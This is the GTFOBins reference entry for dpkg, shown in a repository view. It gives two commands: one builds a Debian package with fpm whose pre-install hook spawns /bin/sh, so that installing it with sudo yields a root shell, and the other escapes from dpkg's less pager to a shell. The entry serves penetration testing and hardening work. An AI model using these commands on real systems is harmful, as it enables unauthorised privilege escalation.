Files
GTFOBins.github.io/_gtfobins/dpkg.md
Maciej Piechota f6ccddda5c Update dpkg.md
dpkg uses system less pager to list the installed packages.
2020-04-25 19:29:59 +02:00

17 lines
470 B
Markdown

---
functions:
sudo:
- description: |
It runs an interactive shell using a specially crafted Debian package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
```
TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
```
code: sudo dpkg -i x_1.0_all.deb
shell:
- code: |
dpkg -l
!/bin/sh
---